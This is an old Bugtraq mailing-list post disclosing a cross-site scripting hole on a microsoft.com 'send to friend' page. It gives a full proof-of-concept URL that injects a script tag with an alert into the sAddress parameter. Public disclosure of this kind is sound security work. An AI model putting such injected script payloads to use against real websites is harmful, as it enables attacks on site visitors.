Bugtraq mailing list archives

Cross Site Scripting in microsoft.com

From: frog frog <leseulfrog () hotmail com>
Date: 6 Jan 2002 16:28:54 -0000



The hole is here :

http://www.microsoft.com/freedomtoinnovate/inc/send
friend.asp?sAddress="><script>alert('Microsoft%
20hole')</script>

frog